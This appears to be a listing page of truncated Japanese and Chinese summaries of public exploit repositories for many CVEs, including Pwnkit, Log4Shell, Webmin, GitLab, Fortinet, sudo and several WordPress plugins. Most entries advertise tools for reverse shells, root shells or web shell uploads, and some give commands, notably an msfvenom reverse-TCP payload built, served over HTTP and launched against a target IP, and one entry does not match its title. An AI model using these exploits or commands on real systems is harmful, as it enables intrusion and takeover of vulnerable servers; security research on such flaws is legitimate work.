Rainstorm

BadBash は、CVE-2014-6271 の RCE エクスプロイトツールです。基本バージョンは HTTP CGI サイトのみをチェックし、ポート 1234 で netcat リバースシェルのみを提供します。 開発者 : Andy Yang バージョン : 0.1.0 ライセンス : GPLv3 ================================================================================================ RainMak3r@Could:/Desktop ruby BadBash.rb -h...

PoC-CVE-2019-12840

Webmin 向け CVE-2019-12840 のエクスプロイト このリポジトリには、Webmin の脆弱性 CVE-2019-12840 を悪用する Python スクリプトが含まれています。 説明 スクリプトは Webmin サーバーにログインし、CVE-2019-12840 の脆弱性を悪用しようとします。スクリプトは、Webmin サーバーにログインするためのユーザー名とパスワード、サーバーの URL、サーバーのポート、リバースシェル用のローカルポート、サーバー上で実行するコマンドなど、いくつかのコマンドライン引数を受け付けます。 使用方法...

CVE-2021-4034

CVE-2021-4034 polkit 権限昇格エクスプロイトのための 1 日 make と ./cve-2021-4034 を実行するだけで、root シェルを手に入れられます。 実際の作者による元のアドバイザリは こちら PoC エクスプロイトが動作すると、すぐに root シェルが取得できます。 root@kitploit: vagrant@ubuntu-impish:/CVE-2021-4034$ make cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c cc -Wall cve-2021-4034.c -o cve-2021-403...

CVE-2021-44228

Log4Shell 概念验证 此仓库是 CVE-2021-44228 漏洞的概念验证。 它衍生自此仓库。 在此仓库中，我制作了一个易受攻击的应用程序示例，并演示了如何利用该漏洞。 概念验证组件 我已修改上游 Python 脚本，以自动化生成此漏洞。 此仓库中有两个 Dockerfile，可方便使用，如下所示： Docker-Ldap 在此 Docker 镜像中，我们从我的 Google Drive 下载 java jdk-8u20，因为您需要在 Oracle 上注册账号才能下载。 如果您不信任此来源，可以修改 Dockerfile 中的下载文件，并从此处下载 jdk（确保下载适用于...

cve_2022_0492

シェルスクリプトテンプレート プロフェッショナルなコマンドラインツールを作成するための、カラー化された出力フォーマットとユーティリティ関数を備えたモダンなBashスクリプトテンプレート。 特徴 🎨 カラー化された出力 : 事前定義されたカラースキームとフォーマット関数 📝 標準化されたメッセージ : 一貫した情報、成功、警告、エラーメッセージフォーマット 🔧 ユーティリティ関数 : 一般的なシェルスクリプト操作のためのすぐに使える関数 📦 モジュール設計 : プロジェクト間で簡単に再利用できる独立したライブラリファイル ⚡ 簡単セットアップ : 即時使用のためのシンプルなソースメカニズム...

ClearML-CVE-2024-24590

root@kitploit: / | | | / | | | \ / \ / | | | | | | \ / | | | | | | | | | | | | |/ / | '| |/| | | | /| | | | | | || | / | | | | | | | | | | | || | | |||,|| || ||| || / | - 2024-24590 x OxyDe ClearML Pickle Artifact Upload PoC...

CVE-2025-32118

🚀 CVE-2025-32118 - WordPress CMP プラグイン RCE エクスプロイト 🔍 タイトル: WordPress CMP – Coming Soon & Maintenance プラグイン = 4.1.13 - リモートコード実行 RCE 🗓️ 公開日: 2025-04-04 🔐 CWE: CWE-434 - 危険なタイプのファイルの無制限アップロード 📊 CVSS: 9.1 緊急 — CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H 📜 説明 WordPress 用の CMP – Coming Soon &...

CVE-2024-51793

🛡️ WordPress RepairBuddy プラグインのエクスプロイト 📜 CVE 情報 CVE-ID: CVE-2024-51793 公開日: 2024-11-11 更新日: 2024-11-11 タイトル: WordPress RepairBuddy プラグイン = 3.8115 - 任意ファイルアップロードの脆弱性 説明: Webful Creations Computer Repair Shop における危険なタイプのファイルの無制限アップロードの脆弱性により、Web サーバーへの Web シェルのアップロードが可能になります。この問題は Computer Repair...

CVE-2024-56249

🛠️ WordPress Master Toolkit エクスプロイト CVE-2024-56249 🌟 概要 このスクリプトは、WordPress WPMasterToolKit プラグインの任意ファイルアップロードArbitrary File Uploadの脆弱性を悪用し、攻撃者がサーバーにウェブシェルをアップロードできるようにします。この脆弱性はプラグインのバージョン 1.13.1 以下に存在します。 📝 CVE 詳細 CVE ID : CVE-2024-56249 公開日 : 2025-01-02 更新日 : 2025-01-02 説明 : Webdeclic...

gitlab-cve-2021-22205

gitlab-cve-2021-22205 脆弱なgitlabインスタンスに対してCVE-2021-22205を悪用するシンプルなbashスクリプトです 使い方 root@kitploit: Usage: cve-2021-22205.sh options Options: -h,--help Show this help -t,--target Set the target server i.e. "http://gitlab.example.com" -i,--reverse-ip Set the IP to connect back to -p,--reverse-port Set...

cve-2022-42475-Fortinet

cve-2022-42475 PoCコード: FortinetのSSLVPNデーモンにおけるヒープオーバーフローを悪用する 使用方法 pip install pwntools このコードを使用するには、ファイル（例: exploit.py）に保存し、Pythonでコマンドラインから必要な引数を指定して実行します。以下はエクスプロイトを実行するコマンドの例です。 python exploit.py はターゲットシステムのホスト名またはIPアドレス、 は脆弱なサービスのポート番号、...

CVE-2024-22274-RCE

CVE-2024-22274 エクスプロイト このリポジトリには、CVE-2024-22274 のエクスプロイトが含まれています。このエクスプロイトは、SSH 経由でリモートマシンに新しいユーザーを作成し、その後 root シェルを提供します。 要件 マシンに Go Golang がインストールされていること。ダウンロードは こちら から行えます。 SSH アクセスが可能なリモートマシン。 コンパイル 1. リポジトリをクローンします: root@kitploit: git clone https://github.com/Mustafa1986/CVE-2024-22274-RCE.g...

CVE-2022-46169_POC

CVE-2022-46169 用エクスプロイト リバースシェルを取得する root@kitploit: cactiexploit.py...

CVE-2024-1874

CVE-2024-1874 CVE-2024-1874 の概念実証 procopen の配列形式の $command パラメータを介したコマンドインジェクション（CVE-2024-1874 修正の回避） The CVE: PHP バージョン 8.1. の 8.1.29 未満、8.2. の 8.2.20 未満、8.3. の 8.3.8 未満において、CVE-2024-1874 の修正は、コマンド名に末尾のスペースが含まれる場合に機能しません。元の問題: procopen...

CVE-2025-32463

📌 CVE-2025-32463 — Sudo --chroot ローカル権限昇格 ExploitDB ID: 52352 🧠 概要 このリポジトリは、Sudo 1.9.14 – 1.9.17 のバージョンに影響する深刻なローカル権限昇格 LPE 脆弱性を文書化しています。 この脆弱性は、sudo -R --chroot オプションの誤った実装に起因し、sudoers ファイルで許可されていなくても 、攻撃者がroot 権限でコマンドを実行 することを可能にします。 🔥 結果: 権限のないユーザー → root シェル 🧩 影響を受けるコンポーネント ソフトウェア: sudo...

cve-2022-3218

ステップ 1 — 実際のペイロードを作成する Windows msfvenom -p windows/x64/shellreversetcp LHOST=10.8.5.50 LPORT=4444 -f exe -o exploit.exe ステップ 2 — HTTPでペイロードを提供する 同じディレクトリ内で: python3 -m http.server 80 ステップ 3 — エクスプロイトを調整する 次のように実行: python3 CVE-2022-3218.py 172.20.7.185 10.8.5.50 exploit.exe ステップ 4 — エクスプロイト前のリスナー ...

CVE-2021-31762

..| CVE-2021-31762 |.. 説明 : クロスサイトリクエストフォージェリCSRF攻撃を悪用して、Webminのユーザー追加機能を介して特権ユーザーを作成し、その後Webminの実行中プロセス機能を介してリバースシェルを取得する テスト済みバージョン : Webmin 1.973 GitHubの最新バージョン 07/03/2021 攻撃タイプ: リモート 影響 : リモートコマンド実行 エクスプロイトのC0de POC : YouTube POC : https://youtu.be/qCvEXwyaF5U 製品ベンダー : https://www.webmin.com...

CVE-2018-5955

CVE-2018-5955 CVE-2018-5955 GitStack 2.3.10 認証不要RCEのエクスプロイト エクスプロイト: GitStack 2.3.10 認証不要リモートコード実行 日付: 2018年1月18日 ソフトウェアリンク: https://gitstack.com/ エクスプロイト作者: Kacper Szurek 元のエクスプロイト: https://www.exploit-db.com/exploits/43777 Webサイト: https://security.szurek.pl/ カテゴリ: remote CVE: CVE-2018-5955...

CVE-2007-2447-RCE

このエクスプロイトは、Samba 3.0.20 3.0.25 を悪用してリバースシェルを取得するのに役立ちます · python3 でスクリプトを --help パラメータ付きで実行すると、一連のパラメータが要求されます root@kitploit: --lhost LHOST your host ip where the shell will be received --lport LPORT your port port where the shell will be received --rhost RHOST remote host ip of the victim machin...

Offensive-lab-2

攻击性安全实验室 : ProFTPD 1.3.3c 后门漏洞利用（获取 root 标志） 1. 介绍与目标 本报告详细介绍了对一台存在漏洞的 Linux 虚拟机 VM 进行的渗透测试，重点关注识别一个高风险服务漏洞，该漏洞允许直接获取 root 权限。 详情| 值 ---|--- 目标 IP 地址| 192.168.222.130 攻击者 IP 地址 LHOST| 192.168.222.128 目标操作系统| Ubuntu 4ubuntu2.2 Linux 内核 3.x 目标| 获取 Root 级别的 shell 并检索 flag 文件。 2. 初始枚举与漏洞识别 初始侦察包括使用...